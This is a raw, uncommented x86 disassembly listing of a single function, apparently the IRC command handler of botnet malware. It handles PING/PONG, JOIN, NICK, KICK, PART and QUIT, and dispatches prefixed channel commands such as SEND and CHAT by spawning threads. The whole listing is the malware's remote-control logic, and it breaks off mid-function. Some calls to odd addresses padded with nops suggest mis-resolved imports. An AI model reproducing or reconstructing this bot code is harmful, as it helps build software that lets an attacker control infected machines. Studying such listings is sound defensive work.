var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = byte ptr -13D8h
var_1358 = byte ptr -1358h
var_12D8 = byte ptr -12D8h
var_1258 = dword ptr -1258h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1234 = byte ptr -1234h
var_11B4 = byte ptr -11B4h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1114 = dword ptr -1114h
var_1110 = byte ptr -1110h
var_1090 = byte ptr -1090h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1000 = dword ptr -1000h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = byte ptr -0FECh
var_F6C = dword ptr -0F6Ch
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = byte ptr -0F58h
var_ED8 = dword ptr -0ED8h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = byte ptr -0EC4h
var_E44 = dword ptr -0E44h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = byte ptr -0E34h
var_E24 = byte ptr -0E24h
var_E04 = byte ptr -0E04h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D00 = byte ptr -0D00h
var_C80 = dword ptr -0C80h
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = byte ptr -0C5Ch
var_BDC = dword ptr -0BDCh
var_BD8 = dword ptr -0BD8h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 568Ch
call sub_41C500
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41BF70
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41BFD0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F75
push esi
lea eax, [ebp+var_428C]
push ebx
push eax
call sub_41BF70
dec esi
lea eax, [ebp+var_428C]
push esi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push offset asc_42CDC4 ; " :"
push eax
call sub_41C2E0
mov [ebp+var_C], eax
lea eax, [ebp+var_428C]
push esi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
mov esi, offset asc_42CDC0 ; " "
lea eax, [ebp+var_4EF8]
push esi
push eax
call sub_41CAD4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F75
cmp [ebp+var_8C], ebx
jz loc_401F75
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
push offset asc_42CDBC ; "!"
push eax
call sub_41CAD4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409823
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a005 ; "005"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4097D7
push esi
push offset a302 ; "302"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41BFD0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40AE84
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401E9A
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E04]
push esi
push eax
call sub_41BFD0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409823
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401F75
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E8D: ; CODE XREF: sub_401ACD+5F6j
; sub_401ACD+8B9j ...
push [ebp+arg_4]
call sub_409823
jmp loc_404260
; ---------------------------------------------------------------------------
loc_401E9A: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_401FDD
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC3: ; CODE XREF: sub_401ACD+448j
lea eax, [ebp+var_E04]
push eax
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F10
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F10
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41C890
push [ebp+arg_1C]
push edi
call sub_41C8A0
add esp, 10h
mov edi, 80h
loc_401F10: ; CODE XREF: sub_401ACD+407j
; sub_401ACD+41Ej
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC3
lea eax, [ebp+var_C4]
test eax, eax
jz short loc_401F75
cmp [ebp+arg_24], ebx
jz short loc_401F75
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41BFD0
jmp loc_4036A2
; ---------------------------------------------------------------------------
loc_401F4D: ; CODE XREF: sub_401ACD+46Cj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F52: ; CODE XREF: sub_401ACD+4A6j
cmp [edi], bl
jz short loc_401F69
lea eax, [ebp+var_E04]
push eax
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401F7D
loc_401F69: ; CODE XREF: sub_401ACD+487j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F52
loc_401F75: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401F77: ; CODE XREF: sub_401ACD+2A1Ej
pop eax
loc_401F78: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A40j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F7D: ; CODE XREF: sub_401ACD+49Aj
lea eax, [ebp+var_E04]
push 21h
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F75
push eax
call sub_41B9C0
push [ebp+arg_24]
mov edi, eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F75
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C266
push ebx
lea eax, [ebp+var_45F0]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409869
add esp, 24h
jmp short loc_401F75
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401ACD+3DCj
push esi
push offset aPart ; "PART"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_401FFF
push esi
push offset aQuit ; "QUIT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402026
loc_401FFF: ; CODE XREF: sub_401ACD+51Fj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402004: ; CODE XREF: sub_401ACD+557j
cmp [edi], bl
jz short loc_40201A
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_402067
loc_40201A: ; CODE XREF: sub_401ACD+539j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402004
loc_402026: ; CODE XREF: sub_401ACD+530j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4020C8
push [ebp+var_80]
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40205A
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40205A: ; CODE XREF: sub_401ACD+582j
push [ebp+var_80]
push offset unk_42CCFC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_402067: ; CODE XREF: sub_401ACD+54Bj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CCDC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41CA50
add esp, 18h
test eax, eax
jnz loc_401F75
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4020C8: ; CODE XREF: sub_401ACD+56Dj
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41CA50
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40211C
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
cmp dword_429088, ebx
jz loc_409644
loc_40211C: ; CODE XREF: sub_401ACD+615j
; sub_401ACD+627j
push [ebp+var_8C]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4022A2
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_402160: ; CODE XREF: sub_401ACD+891j
; sub_401ACD+8CDj ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42CCC0
mov [ebp+arg_8], eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40253B
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402402
cmp [ebp+var_A4], ebx
jz loc_4023DB
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B84]
push edi
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_1B98]
push [ebp+esi+var_84]
push edi
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_1A00], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A80]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F4], eax
lea eax, [ebp+var_1A80]
push eax
lea eax, [ebp+var_1B84]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CC84
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_19FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1BA0]
push ebx
push eax
push offset loc_416563
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_19FC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40228C: ; CODE XREF: sub_401ACD+7D3j
cmp [ebp+var_19F0], ebx
jnz loc_4082DE
push 32h
call near ptr 26C04BFh
nop
jmp short loc_40228C
; ---------------------------------------------------------------------------
loc_4022A2: ; CODE XREF: sub_401ACD+65Fj
; sub_401ACD+675j
push [ebp+var_8C]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4022BB
mov [ebp+var_4], 1
loc_4022BB: ; CODE XREF: sub_401ACD+7E5j
cmp [ebp+var_88], ebx
jz loc_401F75
push offset dword_42CC80
push [ebp+var_88]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_4022E2
cmp [ebp+var_4], ebx
jz short loc_4022EE
loc_4022E2: ; CODE XREF: sub_401ACD+80Ej
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_4022EE: ; CODE XREF: sub_401ACD+813j
cmp [ebp+var_84], ebx
jz loc_401F75
inc [ebp+var_84]
jz short loc_40233A
cmp [ebp+arg_10], ebx
jz short loc_40233A
lea eax, [ebp+var_338]
push eax
call sub_41B9C0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41C850
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_402340
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_401ACD+833j
; sub_401ACD+838j
mov esi, [ebp+var_AC]
loc_402340: ; CODE XREF: sub_401ACD+86Bj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F75
push edi
push offset dword_42CC74
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_40238B
mov eax, dword_4CB888
mov eax, off_429160[eax*4]
cmp [eax], bl
jz short loc_40238B
push eax
push ecx
push offset dword_42CC58
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_40238B: ; CODE XREF: sub_401ACD+8A0j
; sub_401ACD+8B0j
push edi
push offset dword_42CC50
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402160
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_402160
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_402160
push eax
push ecx
push offset dword_42CC38
jmp loc_401E8D
; ---------------------------------------------------------------------------
loc_4023CA: ; CODE XREF: sub_401ACD+7B9j
; sub_401ACD+76B7j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42CBFC
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_401ACD+6DDj
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CBB8
loc_4023EE: ; CODE XREF: sub_401ACD+7C19j
; sub_401ACD+7C80j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 10h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_402402: ; CODE XREF: sub_401ACD+6D1j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402551
cmp [ebp+var_A4], ebx
jz loc_40252A
push 1Bh
call sub_40B602
test eax, eax
pop ecx
jnz loc_402519
push [ebp+esi+var_84]
lea eax, [ebp+var_2AAC]
push offset aS_1 ; "%s"
push eax
call sub_41C266
push [ebp+esi+var_80]
call sub_41C159
mov [ebp+var_2914], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB4], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2994]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_290C], eax
mov eax, [ebp+var_8]
mov [ebp+var_2908], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CB90
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_2910], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB4]
push ebx
push eax
push offset dword_416000
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_2910]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_402508
loc_4024F2: ; CODE XREF: sub_401ACD+A39j
cmp [ebp+var_2904], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 26C04BFh
jmp short loc_4024F2
; ---------------------------------------------------------------------------
loc_402508: ; CODE XREF: sub_401ACD+A23j
nop
call near ptr 26C0CC8h
push eax
push offset unk_42CB58
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_402519: ; CODE XREF: sub_401ACD+966j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CB28
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40252A: ; CODE XREF: sub_401ACD+956j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CAF4
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_40253B: ; CODE XREF: sub_401ACD+6B6j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401F75
loc_402551: ; CODE XREF: sub_401ACD+94Aj
mov edi, [edi]
push edi
push offset aC ; "c"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
push edi
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40964C
cmp [ebp+var_A4], ebx
jnz short loc_4025A2
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
loc_4025A2: ; CODE XREF: sub_401ACD+AB9j
cmp [ebp+arg_28], ebx
jnz loc_409644
xor edi, edi
cmp dword_4294CC, ebx
jle loc_402757
mov [ebp+arg_20], offset dword_43DB90
loc_4025C0: ; CODE XREF: sub_401ACD+B12j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4025E6
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294CC
jl short loc_4025C0
jmp loc_402757
; ---------------------------------------------------------------------------
loc_4025E6: ; CODE XREF: sub_401ACD+B02j
push offset asc_42CDC4 ; " :"
push [ebp+arg_0]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBA8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DB90[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
